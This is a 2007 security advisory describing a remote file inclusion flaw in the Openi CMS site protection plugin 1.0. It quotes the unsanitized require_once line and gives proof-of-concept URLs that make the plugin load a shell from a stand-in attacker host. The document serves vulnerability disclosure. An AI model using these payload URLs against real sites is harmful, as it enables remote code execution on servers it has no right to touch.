[ECHO_ADV_64$2007] Openi CMS plugins (site protection) remote file inclusion

Author : Ahmad Muammar W.K (a.k.a) y3dips
Date Found : February, 11 2007
Location : Indonesia, Jakarta
web : http://echo.or.id/adv/adv64-y3dips-2007.txt
Critical Lvl : Critical
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Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : Internal range (site protection), version: 1.0
Openi CMS plugins (http://www.openi-cms.org)
URL : http://www.openi-cms.org
Download-path : http://www.openi-cms.org/oi-download.php/45/file_src/oi_plugin_site_protection_1_0.zip

Description : With this Plugin you can release page ranges only for certain users. The user
must authentifizieren itself with user name and password. Several users for
a page range can be put on. Users and sides which can be protected are put on
in the editorship environment by the administrator.
Vulnerability:
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Variables "oi_dir" in index.php are not properly sanitized.

---------------index.php --------------------
global $config;
require_once($config["oi_dir"]."/base/sitemap_classes.php");

class plg_site_protection extends Plugin {
----
An attacker can exploit this vulnerability with a simple php injection script.

Poc/Exploit:
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http://target-openi/open-admin/plugins/site_protection/index.php?config%5boi_dir%5d=http://attacker/shell.php?

Notes:
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i have to change the variable "oi_dir" to "openi_dir" to get the cms works (config file),
but then u just change the exploit to

http://target-openi/open-admin/plugins/site_protection/index.php?config%5bopeni_dir%5d=http://attacker/shell.php?

it doesnt matter coz the variable still unsanitized.

Greetz:
~~~~~~~
ana, K-159, the_day, str0ke, waraxe, negative